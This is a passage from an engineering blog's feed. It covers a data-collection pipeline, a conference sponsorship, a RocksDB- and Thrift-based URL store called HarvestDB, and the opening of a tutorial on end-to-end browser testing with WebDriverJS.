with Lua for collecting all incoming data. All the data received at Openresty end is pushed to a Redis server running on all these machines. The Redis server writes the data as fast as possible, thereby reducing the chance of data loss. Next, we move data from the Redis servers to central RabbitMQ. This incoming data is then used by multiple consumers in various ways and stored at multiple places for different purposes. You can check our previous post &lt;a href=&quot;http://engineering.wingify.com/scaling-with-queues/&quot;&gt;Scaling with Queues&lt;/a&gt; to understand more about our data acquisition setup.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;As our customers keep growing and our traffic keeps growing, we will be able to judge better about our system, how well it scales and what problems it has. And as VWO grows and becomes a better and better, we will keep working on our current infrastructure to improve it and adjust it for our needs. We would like to thank &lt;a href=&quot;http://agentzh.org/&quot;&gt;agentzh (YichunZhang)&lt;/a&gt; for building OpenResty and for helping us out whenever we were stuck with our implementation.&lt;/p&gt; &lt;p&gt;We work in a dynamic environment where we collaborate and work towards architecting scalable and fault-tolerant systems like these. If these kind of problems and challenges interest you, we will be happy to work with you. &lt;a href=&quot;https://wingify.com/careers&quot;&gt;We are hiring!&lt;/a&gt;&lt;/p&gt;</content:encoded><author>Ankit Jain</author></item><item><title><![CDATA[We are sponsoring The Fifth Elephant 2014]]></title><description><![CDATA[We are excited to announce our sponsorship of The Fifth Elephant - a popular conference around the Big Data ecosystem. The conference will…]]></description><link>https://engineering.wingify.com//posts/sponsoring-fifth-elephant/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/sponsoring-fifth-elephant/</guid><pubDate>Mon, 21 Jul 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are excited to announce our sponsorship of &lt;a href=&quot;https://fifthelephant.in&quot;&gt;The Fifth Elephant&lt;/a&gt; - a popular conference around the Big Data ecosystem. The conference will be held in Bangalore, India from 23rd to 26th July.&lt;/p&gt; &lt;p&gt;Our engineers will be present at the conference. If you are &lt;a href=&quot;http://github.com/wingify&quot;&gt;interested in our work&lt;/a&gt;, want to know more about what we are doing, want to work with us (&lt;a href=&quot;http://wingify.com/careers&quot;&gt;we&apos;re hiring&lt;/a&gt;), get some cool goodies or just want to say Hi!, please visit our booth (B7) or catch any of our team members. We’d love to talk to you!&lt;/p&gt; &lt;p&gt;We look forward to meeting you in Bangalore!&lt;/p&gt;</content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Fast Storage with RocksDB]]></title><description><![CDATA[In November last year, I started developing an infrastructure that would allow us to collect, store, search and retrieve high volume data…]]></description><link>https://engineering.wingify.com//posts/fast-storage-with-rocksdb/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/fast-storage-with-rocksdb/</guid><pubDate>Fri, 13 Jun 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In November last year, I started developing an infrastructure that would allow us to collect, store, search and retrieve high volume data. The idea was to collect all the URLs on which our &lt;a href=&quot;https://visualwebsiteoptimizer.com/split-testing-blog/geo-distributed-architecture/&quot;&gt;homegrown CDN&lt;/a&gt; would serve JS content. Based on our current traffic, we were looking to collect some 10k URLs per second across four major geographic regions where we run our servers.&lt;/p&gt; &lt;p&gt;In the beginning we tried MySQL, Redis, Riak, CouchDB, MongoDB, ElasticSearch but nothing worked out for us with that kind of high speed writes. We also wanted our system to respond very quickly, under 40ms between internal servers on private network. This post talks about how we were able to make such a system using C++11, &lt;a href=&quot;http://rocksdb.org&quot;&gt;RocksDB&lt;/a&gt; and &lt;a href=&quot;http://thrift.apache.org&quot;&gt;Thrift&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;First, let me start by sharing the use cases of such a system in VWO; the following screenshot shows a feature where users can enter a URL to check if VWO SmartCode was installed on it.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2014/06/0.png&quot;&gt;&lt;br&gt; &lt;p&gt;VWO SmartCode checker&lt;/p&gt; &lt;/div&gt; &lt;p&gt;The following screenshot shows another feature where users can see a list of URLs matching a complex wildcard pattern, regex pattern, string rule etc. while creating a campaign.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2014/06/1.png&quot;&gt;&lt;br&gt; &lt;p&gt;VWO URL Matching Helper&lt;/p&gt; &lt;/div&gt; &lt;p&gt;I &lt;a href=&quot;http://kkovacs.eu/cassandra-vs-mongodb-vs-couchdb-vs-redis&quot;&gt;reviewed&lt;/a&gt; several opensource databases but none of them would fit our requirements except Cassandra. In clustered deployment, reads from Cassandra were too slow and slower when data size would grew. After understanding how Cassandra worked under the hood such as its log structured storage like LevelDB I started playing with opensource embeddable databases that would use similar approach such as LevelDB and Kyoto Cabinet. At the time, I found an embeddable persistent key-value store library built on LevelDB called &lt;a href=&quot;http://rocksdb.org&quot;&gt;RocksDB&lt;/a&gt;. It was opensourced by Facebook and had a fairly active developer community so I started &lt;a href=&quot;https://github.com/facebook/rocksdb/tree/master/examples&quot;&gt;playing&lt;/a&gt; with it. I read the &lt;a href=&quot;https://github.com/facebook/rocksdb/wiki&quot;&gt;project wiki&lt;/a&gt;, wrote some working code and joined their Facebook group to ask questions around prefix lookup. The community was helpful, especially Igor and Siying who gave me &lt;a href=&quot;https://www.facebook.com/groups/rocksdb.dev/permalink/506160312815821/&quot;&gt;enough hints&lt;/a&gt; around &lt;a href=&quot;https://github.com/facebook/rocksdb/wiki/Prefix-Seek-API-Changes&quot;&gt;prefix lookup&lt;/a&gt;, using custom &lt;a href=&quot;https://github.com/facebook/rocksdb/wiki/Hash-based-memtable-implementations&quot;&gt;extractors&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Bloom_filter&quot;&gt;bloom filters&lt;/a&gt; which helped me write something that actually worked in our production environment for the first time. Explaining the technology and jargons is out of scope of this post but I would like to encourage the readers to read &lt;a href=&quot;http://google-opensource.blogspot.in/2011/07/leveldb-fast-persistent-key-value-store.html&quot;&gt;about&lt;/a&gt; &lt;a href=&quot;https://code.google.com/p/leveldb/&quot;&gt;LevelDB&lt;/a&gt; and to read the RocksDB &lt;a href=&quot;https://github.com/facebook/rocksdb/wiki&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2014/06/2.png&quot;&gt;&lt;br&gt; &lt;p&gt;RocksDB FB Group&lt;/p&gt; &lt;/div&gt; &lt;p&gt;For capturing the URLs with peak velocity up to 10k serves/s, I reused our &lt;a href=&quot;/scaling-with-queues/&quot;&gt;distributed queue based infrastructure&lt;/a&gt;. For storage, search and retrieval of URLs I wrote a custom datastore service using C++, RocksDB and Thrift called &lt;em&gt;HarvestDB&lt;/em&gt;. &lt;a href=&quot;http://thrift.apache.org/&quot;&gt;Thrift&lt;/a&gt; provided the &lt;a href=&quot;http://en.wikipedia.org/wiki/Remote_procedure_call&quot;&gt;RPC&lt;/a&gt; mechanism for implementing this system as a distributed service accessible by various backend sub-systems. The backend sub-systems use client libraries &lt;a href=&quot;http://thrift.apache.org/tutorial&quot;&gt;generated by Thrift compiler&lt;/a&gt; for communicating with the &lt;em&gt;HarvestDB&lt;/em&gt; server.&lt;/p&gt; &lt;p&gt;The &lt;em&gt;HarvestDB&lt;/em&gt; service implements five remote procedures - ping, get, put, search and purge. The following &lt;a href=&quot;http://thrift.apache.org/docs/idl&quot;&gt;Thrift IDL&lt;/a&gt; describes this service.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cpp&quot;&gt;&lt;pre class=&quot;language-cpp&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; cpp harvestdb &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; go harvestdb &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; py harvestdb &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; php HarvestDB &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Url&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; required i64 timestamp&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; required string url&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; required string version&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; list&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Url&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; UrlList &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;UrlResult&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; required i32 prefix&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; required i32 found&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; required i32 total&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; required list&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;string&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; urls&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; service HarvestDB &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ping&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Url &lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;i32 prefix&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;string url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;i32 prefix&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;Url url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; UrlResult &lt;span class=&quot;token function&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;i32 prefix&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;string includeRegex&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;string excludeRegex&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;i32 size&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;i32 timeout&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;purge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;i32 prefix&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;i64 timestamp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Clients use &lt;code class=&quot;language-text&quot;&gt;ping&lt;/code&gt; to check &lt;em&gt;HarvestDB&lt;/em&gt; server connectivity before executing other procedures. RabbitMQ consumers consume collected URLs and &lt;code class=&quot;language-text&quot;&gt;put&lt;/code&gt; them to &lt;em&gt;HarvestDB&lt;/em&gt;. The PHP based application backend uses custom Thrift based client library to &lt;code class=&quot;language-text&quot;&gt;get&lt;/code&gt; (read) and to &lt;code class=&quot;language-text&quot;&gt;search&lt;/code&gt; URLs. A Python program runs as a periodic cron job and uses &lt;code class=&quot;language-text&quot;&gt;purge&lt;/code&gt; procedure to purge old entries based on timestamp which makes sure we don&apos;t exhaust our storage resources. The system is in production for more than five months now and is capable of handling (benchmarked) workload of up to 24k writes/second while consuming less than 500MB RAM. Our future work will be on replication, sharding and fault tolerance of this service. The following diagram illustrates this architecture.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2014/06/3.png&quot;&gt;&lt;br&gt; &lt;p&gt;Overall architecture&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=7899353&quot;&gt;Discussion on Hacker News&lt;/a&gt;&lt;/p&gt;</content:encoded><author>Rohit Yadav</author></item><item><title><![CDATA[Automated e2e testing- WebDriverJS, Jasmine and Protractor]]></title><description><![CDATA[e2e or end-to-end or UI testing is a methodology used to test whether the flow of an application is performing as designed from start to…]]></description><link>https://engineering.wingify.com//posts/e2e-testing-with-webdriverjs-jasmine/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/e2e-testing-with-webdriverjs-jasmine/</guid><pubDate>Tue, 26 Nov 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;e2e or end-to-end or UI testing is a methodology used to test whether the flow of an application is performing as designed from start to finish. In simple words, it is testing of your application from the user endpoint where the whole system is a blackbox with only the UI exposed to the user.&lt;/p&gt; &lt;p&gt;It can become quite an overhead if done manually and if your application has a large number of interactions/pages to test.&lt;/p&gt; &lt;p&gt;In the rest of the article I&apos;ll talk about webdriverJS and Jasmine to automate your e2e testing, a combination which isn&apos;t talked about much on the web.&lt;/p&gt; &lt;h2 id=&quot;what-is-webdriverjs&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-is-webdriverjs&quot; aria-label=&quot;what is webdriverjs permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What is WebDriverJS?&lt;/h2&gt; &lt;p&gt;This was something which took me quite sometime to put my head around and I feel this was more or less due to the various available options for everything related to WebDriver.&lt;/p&gt; &lt;p&gt;So let&apos;s take it from the top and see what its all about.&lt;/p&gt; &lt;h3 id=&quot;selenium&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#selenium&quot; aria-label=&quot;selenium permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Selenium&lt;/h3&gt; &lt;p&gt;As mentioned on the &lt;a href=&quot;http://www.seleniumhq.org/&quot;&gt;selenium website&lt;/a&gt;, Selenium automates browsers. That&apos;s it.&lt;/p&gt; &lt;p&gt;This having support for almost all major browsers, is a very good alternative to automate our tests in the browser. So whatever you do in the browser while testing your application, like navigating to pages, clicking a button, writing text in input boxes, submitting forms etc, can be automated using Selenium.&lt;/p&gt; &lt;h3 id=&quot;webdriver&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#webdriver&quot; aria-label=&quot;webdriver permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WebDriver&lt;/h3&gt; &lt;p&gt;WebDriver (or Selenium 2) basically refers to the language bindings and the implementations of the individual browser controlling code.&lt;/p&gt; &lt;p&gt;WebDriver introduces a &lt;a href=&quot;https://code.google.com/p/selenium/wiki/JsonWireProtocol&quot;&gt;JSON wire protocol&lt;/a&gt; for various language bindings to communicate with the browser controller.&lt;/p&gt; &lt;p&gt;For example, to click an element in the browser, the binding will send POST request on &lt;code class=&quot;language-text&quot;&gt;/session/:sessionId/element/:id/click&lt;/code&gt;&lt;/p&gt; &lt;p&gt;So, at one end there is the language binding and a server, known as Selenium server, on the other. Both communicate using the JSON wire protocol.&lt;/p&gt; &lt;h3 id=&quot;webdriverjs&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#webdriverjs&quot; aria-label=&quot;webdriverjs permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WebDriverJS&lt;/h3&gt; &lt;p&gt;As mentioned, WebDriver has a number of bindings for various languages like Ruby, Python etc. JavaScript being the language of choice for the web, is the latest one to make it to the list. Enter &lt;a href=&quot;https://code.google.com/p/selenium/wiki/WebDriverJs&quot;&gt;WebDriverJS&lt;/a&gt;!&lt;/p&gt; &lt;p&gt;So as you might guess, WebDriverJS is simply a wrapper over the JSON wire protocol exposing high level functions to make our life easy.&lt;/p&gt; &lt;p&gt;Now if you search &lt;strong&gt;webdriver JS&lt;/strong&gt; on the web, you&apos;ll come across 2 different bindings namely &lt;a href=&quot;https://code.google.com/p/selenium/wiki/WebDriverJs&quot;&gt;&lt;em&gt;selenium-webdriver&lt;/em&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/camme/webdriverjs&quot;&gt;&lt;em&gt;webdriverjs&lt;/em&gt;&lt;/a&gt; (yeah, lots of driver), both available as node modules. You can use anyone you like, though we&apos;ll stick to the official one i.e. &lt;em&gt;selenium-webdriver&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;Say you have a JavaScript project you want to automate e2e testing on. Installing the bindings is as simple as doing:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; selenium-webdriver&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Done! You can now require the package and with a lil&apos; configuration you can open any webpage in the browser:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; webdriver &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;selenium-webdriver&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; driver &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Builder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;withCapabilities&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;webdriver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Capabilities&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;chrome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://www.wingify.com&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;To run your test file, all you do is:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;node testfile.js&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: In addition to the npm package, you will need to download the WebDriver implementations you wish to utilize. As of 2.34.0, selenium-webdriver natively supports the &lt;a href=&quot;https://code.google.com/p/selenium/wiki/ChromeDriver&quot;&gt;ChromeDriver&lt;/a&gt;. Simply &lt;a href=&quot;http://chromedriver.storage.googleapis.com/index.html&quot;&gt;download a copy&lt;/a&gt; and make sure it can be found on your PATH. The other drivers (e.g. Firefox, Internet Explorer, and Safari), still require the &lt;a href=&quot;http://selenium.googlecode.com/files/selenium-server-standalone-2.37.0.jar&quot;&gt;standalone Selenium server&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;difference-from-other-language-bindings&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#difference-from-other-language-bindings&quot; aria-label=&quot;difference from other language bindings permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Difference from other language bindings&lt;/h3&gt; &lt;p&gt;WebDriverJS has an important difference from other bindings in any other language - &lt;strong&gt;It is asynchronous&lt;/strong&gt;.&lt;/p&gt; &lt;p&gt;So if you had done the following in python:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// pseudo code&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;page1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;E1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Both statements would have executed synchronously as the Python (as every other language) API is blocking. But that isn&apos;t the case with 